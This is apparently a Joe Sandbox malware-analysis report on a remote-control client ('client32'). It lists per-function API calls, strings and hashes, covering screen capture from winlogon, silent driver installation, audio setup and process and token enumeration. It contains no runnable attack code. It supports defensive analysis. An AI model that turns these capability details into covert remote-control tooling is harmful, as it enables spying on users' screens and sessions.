Info. Set MacAddr to %s, xrefs: 1103DA2B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$_memset$AddressFreeLoadProcwsprintf$_malloc
String ID: %02x%02x%02x%02x%02x%02x$%d adapters in chain, %d adapters by size$* $3$CLTCONN.CPP$GetAdaptersInfo$IPHLPAPI.DLL$Info. Netbios macaddr=%s$Info. Set MacAddr to %s$Info. Unable to load netapi32$Info. macaddr[%d]=%s, ipaddr=%hs/%hs$ListenAddress$Netbios$TCPIP$VIRTNET$Warning. Netbios() returned x%x$netapi32.dll$pGetAdaptersInfo
API String ID: 2942389153-3574733319
Opcode ID: a1f09aa51e896bd3823c6bcd84ba5b8c2eceb3d4fedcf053763cb51e93d6f7e9
Instruction ID: 9380186eaa86aba5e78307d08d1cef0eec38285017acdf678952b44c5cd5fdba
Opcode Fuzzy Hash: a1f09aa51e896bd3823c6bcd84ba5b8c2eceb3d4fedcf053763cb51e93d6f7e9
Instruction Fuzzy Hash: 60E13A75D1429A9FEB17CB648C90BEEBBF96F85305F4400D9E858B7240E630AB44CF61

Function 11128550 Relevance: 50.9, APIs: 18, Strings: 11, Instructions: 199libraryprocessloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Kernel32.dll,AB86ACF8,75BF3760,?,75BF7A80), ref: 11128597
GetCurrentProcess.KERNEL32 ref: 11128608
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 1112861C
SetLastError.KERNEL32(00000078), ref: 11128636
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1112865C
_memset.LIBCMT ref: 111286BA
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,04000000,00000000,00000000,?,?), ref: 111286FF
WaitForSingleObject.KERNEL32(?,000000FF), ref: 11128716
GetExitCodeProcess.KERNEL32(?,?), ref: 11128730
CloseHandle.KERNEL32(?), ref: 11128754
CloseHandle.KERNEL32(?), ref: 1112875D
FreeLibrary.KERNEL32(?), ref: 111287AA

Strings

pscrinst.dll, xrefs: 111287CC
Root\NS-PseudoSmartCardReader, xrefs: 111287E6
Kernel32.dll, xrefs: 11128580
IsWow64Process, xrefs: 1112860E
\winst64.exe" /q /q /si, xrefs: 1112867B
", xrefs: 11128655
D, xrefs: 111286EB
CSmartcardDeviceMngr - PscrInstallDeviceW failed (%d), xrefs: 11128811
nspscr.inf, xrefs: 111287EB
PscrInstallDeviceW, xrefs: 111287DD
CSmartcardDeviceMngr - failed to load pscrinst.dll (%d), xrefs: 11128831

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Process$CloseHandleLibrary$AddressCodeCreateCurrentErrorExitFileFreeLastLoadModuleNameObjectProcSingleWait_memset
String ID: "$CSmartcardDeviceMngr - PscrInstallDeviceW failed (%d)$CSmartcardDeviceMngr - failed to load pscrinst.dll (%d)$D$IsWow64Process$Kernel32.dll$PscrInstallDeviceW$Root\NS-PseudoSmartCardReader$\winst64.exe" /q /q /si$nspscr.inf$pscrinst.dll
API String ID: 3751713381-2378866903
Opcode ID: ca18b50772430f7a4c4c37d2d13f0c7706ed45a9cdc9ed65db533534a49009e2
Instruction ID: 28a45035b83521f7ee9a72484b737b0195934207c333fbc323246533478544ad
Opcode Fuzzy Hash: ca18b50772430f7a4c4c37d2d13f0c7706ed45a9cdc9ed65db533534a49009e2
Instruction Fuzzy Hash: 0E817AB5D01268AFDB24DFA5CDC8A99FBB9FB48304F6045EAE519A3640DB305A80CF54

Function 110B3100 Relevance: 50.9, APIs: 23, Strings: 6, Instructions: 178filewindowCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(00100000,00000000,Client32DIBQuit), ref: 110B3130
OpenEventA.KERNEL32(00100000,00000000,Client32DIBBlit), ref: 110B3141
OpenEventA.KERNEL32(00000002,00000000,Client32DIBDone), ref: 110B314F
WaitForMultipleObjects.KERNEL32(00000002,00000000,00000000,000000FA), ref: 110B3183
OpenFileMappingA.KERNEL32(000F001F,00000000,Client32DIB), ref: 110B31A6
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 110B31C2
GetDC.USER32(00000000), ref: 110B31E8
CreateCompatibleDC.GDI32(00000000), ref: 110B31FC
CreateDIBSection.GDI32(00000000,00000004,00000000,?,?,?), ref: 110B321F
SelectObject.GDI32(00000000,00000000), ref: 110B3236
GetTickCount.KERNEL32 ref: 110B323F
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,00CC0020), ref: 110B3276
GetTickCount.KERNEL32 ref: 110B327F
GetLastError.KERNEL32(00000000), ref: 110B328E
GdiFlush.GDI32 ref: 110B32A2
SelectObject.GDI32(00000000,?), ref: 110B32AD
DeleteObject.GDI32(00000000), ref: 110B32B4
SetEvent.KERNEL32(?), ref: 110B32BE
DeleteDC.GDI32(00000000), ref: 110B32C8
ReleaseDC.USER32(00000000,00000000), ref: 110B32D4
UnmapViewOfFile.KERNEL32(00000000), ref: 110B32DE
CloseHandle.KERNEL32(00000000), ref: 110B32E5
CloseHandle.KERNEL32(00000000), ref: 110B3309

Strings

ERROR %d blitting from winlogon, took %d ms, xrefs: 110B3295
ScrapeApp, xrefs: 110B3111
Client32DIBQuit, xrefs: 110B3124
Client32DIBBlit, xrefs: 110B3132
Client32DIBDone, xrefs: 110B3143
Client32DIB, xrefs: 110B319A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EventOpen$FileObject$CloseCountCreateDeleteHandleSelectTickView$CompatibleErrorFlushLastMappingMultipleObjectsReleaseSectionUnmapWait
String ID: Client32DIB$Client32DIBBlit$Client32DIBDone$Client32DIBQuit$ERROR %d blitting from winlogon, took %d ms$ScrapeApp
API String ID: 2071925733-2101319552
Opcode ID: 69ccdf57648ba78fab6be258752d8ad5ba147c4fba19d096890e8e9156bf9cf5
Instruction ID: 4116a02b123aa608432531ba698621a05075ff29bb652617cbc71955754d1d1a
Opcode Fuzzy Hash: 69ccdf57648ba78fab6be258752d8ad5ba147c4fba19d096890e8e9156bf9cf5
Instruction Fuzzy Hash: A9518679E40229ABDB14CFE4CD89F9EBBB4FB48704F104064F921AB644D774A900CB65

Function 110CE180 Relevance: 46.0, APIs: 22, Strings: 4, Instructions: 461COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000000,?), ref: 110CE21C
GetClientRect.USER32(00000000,?), ref: 110CE247
GetObjectA.GDI32(?,0000003C,?), ref: 110CE269
CreateFontIndirectA.GDI32(?), ref: 110CE29C
GetWindow.USER32(00000000,00000005), ref: 110CE2EE

Strings

WM_DPICHANGED, newDpi=%d, oldDpi=%d; newFont=%d, oldFont=%d, xrefs: 110CE288
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110CE202, 110CE22D, 110CE61B, 110CE69D
vector<T> too long, xrefs: 110CE6EA
m_hWnd, xrefs: 110CE207, 110CE232, 110CE620, 110CE6A2

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: RectWindow$ClientCreateFontIndirectObject
String ID: WM_DPICHANGED, newDpi=%d, oldDpi=%d; newFont=%d, oldFont=%d$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd$vector<T> too long
API String ID: 242201110-4090043186
Opcode ID: 8071484fa87b7de774024e97d344c0547745bb2c7e0811cf1b0246d23679c2c7
Instruction ID: 11f9a6c21b3382fc2b7f861042b4248f92e0dde1ac544a85ffb2751bdf35cce8
Opcode Fuzzy Hash: 8071484fa87b7de774024e97d344c0547745bb2c7e0811cf1b0246d23679c2c7
Instruction Fuzzy Hash: 7AF11D75E002299FDB14CF68CD85B9EBBB5FB88704F148199E919AB284DB70AD41CF90

Function 1100C530 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 185libraryloaderthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

InitializeCriticalSection.KERNEL32(00000010), ref: 1100C587
InitializeCriticalSection.KERNEL32(00000028), ref: 1100C58D
InitializeCriticalSection.KERNEL32(00000040), ref: 1100C593
InitializeCriticalSection.KERNEL32(00000058), ref: 1100C599
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 1100C5A3
GetVersion.KERNEL32 ref: 1100C6AE
LoadLibraryA.KERNEL32(msacm32.dll), ref: 1100C6BF
GetProcAddress.KERNEL32(00000000,acmStreamOpen), ref: 1100C6DB
GetProcAddress.KERNEL32(?,acmStreamClose), ref: 1100C6EF
GetProcAddress.KERNEL32(?,acmStreamSize), ref: 1100C703
GetProcAddress.KERNEL32(?,acmStreamPrepareHeader), ref: 1100C717
GetProcAddress.KERNEL32(?,acmStreamConvert), ref: 1100C72B
CreateThread.KERNEL32(00000000,00002000,Function_0000C0F0,00000000,00000000,?), ref: 1100C75A
GetProcAddress.KERNEL32(?,acmStreamUnprepareHeader), ref: 1100C73F

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

SetThreadPriority.KERNEL32(00000000,00000001), ref: 1100C780
CloseHandle.KERNEL32(00000000), ref: 1100C787

Part of subcall function 11029A70: _strrchr.LIBCMT ref: 11029B65
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029BA4

Strings

..\ctl32\AUDIO.CPP, xrefs: 1100C5B8, 1100C76B
acmStreamConvert, xrefs: 1100C725
msacm32.dll, xrefs: 1100C6B4
hAudio, xrefs: 1100C770
acmStreamOpen, xrefs: 1100C6D5
idata->hEvent, xrefs: 1100C5BD
acmStreamClose, xrefs: 1100C6E9
acmStreamUnprepareHeader, xrefs: 1100C733
acmStreamSize, xrefs: 1100C6F7
acmStreamPrepareHeader, xrefs: 1100C70B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalInitializeSection$CreateExitProcessThreadwsprintf$CloseErrorEventHandleLastLibraryLoadMessagePriorityVersion_malloc_memset_strrchr
String ID: ..\ctl32\AUDIO.CPP$acmStreamClose$acmStreamConvert$acmStreamOpen$acmStreamPrepareHeader$acmStreamSize$acmStreamUnprepareHeader$hAudio$idata->hEvent$msacm32.dll
API String ID: 164558982-2117072583
Opcode ID: cfefa6cb48f10cb449d761e04fb00ecc249e30a8e65a1387da47812114e30642
Instruction ID: 049fab11b20bb768323fb1b34283fa62b23a8e76d4d9a3094b6e7a7a4f077f96
Opcode Fuzzy Hash: cfefa6cb48f10cb449d761e04fb00ecc249e30a8e65a1387da47812114e30642
Instruction Fuzzy Hash: FD61AEB5A40709ABEB20DFB5CD45BDAFBE4AF54304F00492EE96AD7280EB74B500CB50

Function 11044560 Relevance: 44.1, APIs: 16, Strings: 9, Instructions: 330windowCOMMON

Download Yara Rule

APIs

Part of subcall function 110CF130: GetDlgItem.USER32(?,000017DD), ref: 110CF18A
Part of subcall function 110CF130: ShowWindow.USER32(00000000,00000000), ref: 110CF1AF
Part of subcall function 110CF130: GetWindowRect.USER32(00000000,?), ref: 110CF1DD
Part of subcall function 110CF130: GetObjectA.GDI32(00000000,0000003C,?), ref: 110CF21D
Part of subcall function 110CF130: GetWindowTextA.USER32(00000000,?,00000100), ref: 110CF276

Part of subcall function 11145990: ExpandEnvironmentStringsA.KERNEL32(000000FF,?,00000104,000000FF), ref: 111459B7

ExtractIconA.SHELL32(11000000,00000000,00000000), ref: 110445AE
_memset.LIBCMT ref: 110445FA
_strncpy.LIBCMT ref: 11044628

Strings

*UserAckWording, xrefs: 11044670
AckDlgDisplayText, xrefs: 1104469A
AckDlgTimeOut, xrefs: 110447F0
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1104481A
*UserAckRejectDefault, xrefs: 110448D2
*UserAckRejectWording, xrefs: 110447CA
Client, xrefs: 1104469F, 110447F5
m_hWnd, xrefs: 1104481F
helpdesk.ico, xrefs: 11044592

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$EnvironmentExpandExtractIconItemObjectRectShowStringsText_memset_strncpy
String ID: *UserAckRejectDefault$*UserAckRejectWording$*UserAckWording$AckDlgDisplayText$AckDlgTimeOut$Client$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$helpdesk.ico$m_hWnd
API String ID: 3726536655-1930157642
Opcode ID: fa8fde9e457a20ced63446e2290e55f221f982a787cf21ad9a52e8aeb565463c
Instruction ID: fc0abad737311a416c98c50a3634a6be576f3590c14db7ba0421e6f6af2d9a9c
Opcode Fuzzy Hash: fa8fde9e457a20ced63446e2290e55f221f982a787cf21ad9a52e8aeb565463c
Instruction Fuzzy Hash: F1B149B8B40315AFE714CB64CCC5FEAB3A5AF48708F2045A8F6559B6C1DAB1B940CB90

Function 1109E1E0 Relevance: 44.0, APIs: 18, Strings: 7, Instructions: 278COMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,00000064,00000000,?,00000000), ref: 1109E262
OpenProcess.KERNEL32(00100000,00000000,?), ref: 1109E285
CloseHandle.KERNEL32(00000000), ref: 1109E290
ResetEvent.KERNEL32(00000000), ref: 1109E2A5
ResetEvent.KERNEL32(?), ref: 1109E2AB
SetEvent.KERNEL32(?), ref: 1109E2B1

Strings

iffy result, xrefs: 1109E535
no error, xrefs: 1109E4CA
cbdata=%d, datalen-sizeof=%d, xrefs: 1109E413
timeout, xrefs: 1109E356
senderror, xrefs: 1109E50F
..\CTL32\ipc.cpp, xrefs: 1109E42A
deadshare, xrefs: 1109E327

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Event$Reset$CloseHandleMultipleObjectsOpenProcessWait
String ID: ..\CTL32\ipc.cpp$cbdata=%d, datalen-sizeof=%d$deadshare$iffy result$no error$senderror$timeout
API String ID: 1194186020-3727536503
Opcode ID: c107bb4b7b451d0f8caa07485551e788f298ebf9abbf6cfa4dcf7a792082ab30
Instruction ID: 4445ea8f834aec2c07a1bae548667dcf69b2078721e8a9311ea9bd6b0b067be8
Opcode Fuzzy Hash: c107bb4b7b451d0f8caa07485551e788f298ebf9abbf6cfa4dcf7a792082ab30
Instruction Fuzzy Hash: 88B18AB5A002188FD724CF65C990B5AF7F5BB88314F108A9DE55A9B681CB70ED81DFA0

Function 11107050 Relevance: 40.6, APIs: 16, Strings: 7, Instructions: 304libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,AB86ACF8,00000002,11030250,?,00000000,1118A896,000000FF,?,1110809F,00000000,?,11030250,00000000,00000000), ref: 1110708D

Part of subcall function 11138260: GetVersion.KERNEL32(00000000,74DF0BD0,00000000), ref: 11138283
Part of subcall function 11138260: GetModuleHandleA.KERNEL32(ntdll.dll), ref: 111382A4
Part of subcall function 11138260: GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 111382B4
Part of subcall function 11138260: GetModuleHandleA.KERNEL32(KERNEL32.DLL), ref: 111382D1
Part of subcall function 11138260: GetProcAddress.KERNEL32(00000000,VerifyVersionInfoA), ref: 111382DD
Part of subcall function 11138260: _memset.LIBCMT ref: 111382F7

FreeLibrary.KERNEL32(00000000,?,1110809F,00000000,?,11030250,00000000,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF), ref: 111070DF
LoadLibraryA.KERNEL32(Kernel32.dll,?,1110809F,00000000,?,11030250,00000000,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF), ref: 11107116
GetProcAddress.KERNEL32(00000000,WTSGetActiveConsoleSessionId), ref: 111071A0
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 111071F1
GetProcAddress.KERNEL32(?,ProcessIdToSessionId), ref: 1110726A
SetLastError.KERNEL32(00000078,?,1110809F), ref: 1110728C
SetLastError.KERNEL32(00000078,?,1110809F), ref: 111072A3
SetLastError.KERNEL32(00000078,?,1110809F), ref: 111072B0
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,1110809F), ref: 111072D0

Part of subcall function 110262F0: GetProcAddress.KERNEL32(00000000,GetProcessImageFileNameA), ref: 11026306
Part of subcall function 110262F0: K32GetProcessImageFileNameA.KERNEL32(?,00000000,11030983,00000000,?,?,?,11030983,00000000,?,00000208), ref: 11026322
Part of subcall function 110262F0: GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 11026336

CloseHandle.KERNEL32(00000000,00000000,?,00000104,?,1110809F), ref: 11107446

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

OpenProcessToken.ADVAPI32(00000000,00000008,?,?,00000000,?,00000104,?,1110809F), ref: 11107360
GetTokenInformation.ADVAPI32(?,0000000C(TokenIntegrityLevel),?,00000004,?,?,00000000,?,00000104,?,1110809F), ref: 1110738F
CloseHandle.KERNEL32(?,?,00000000,?,00000104,?,1110809F), ref: 1110743F
FreeLibrary.KERNEL32(?,?,?,?,?,1110809F), ref: 111074CC
FreeLibrary.KERNEL32(00000000,?,?,?,?,1110809F), ref: 111074D3

Strings

winlogon.exe, xrefs: 111073D4
psapi.dll, xrefs: 11107088
EnumProcesses, xrefs: 111071DF
dwm.exe, xrefs: 111073BB
Kernel32.dll, xrefs: 11107111
WTSGetActiveConsoleSessionId, xrefs: 11107184
ProcessIdToSessionId, xrefs: 11107264

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$Handle$ErrorFreeLastProcess$CloseLoadModuleOpenToken$FileImageInformationNameVersion_memset_strrchr
String ID: EnumProcesses$Kernel32.dll$ProcessIdToSessionId$WTSGetActiveConsoleSessionId$dwm.exe$psapi.dll$winlogon.exe
API String ID: 348974188-2591373181
Opcode ID: 2b78c885ca7092d50f7b3971725b2a7c7ff69b286f2b648b2b9de1ef00c0ff8f
Instruction ID: c6fb8941b728de1d874c8cf5bae9c94d2d097e9c1a5b8d4b24900e8511d45065
Opcode Fuzzy Hash: 2b78c885ca7092d50f7b3971725b2a7c7ff69b286f2b648b2b9de1ef00c0ff8f
Instruction Fuzzy Hash: A2C17DB1D0066A9FDB22DF658D846ADFAB8BB09314F4141FAE65CE7280D7309B84CF51

Function 11020310 Relevance: 38.8, APIs: 18, Strings: 4, Instructions: 269windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,0000139C), ref: 1102034F
GetWindowRect.USER32(00000000), ref: 11020358
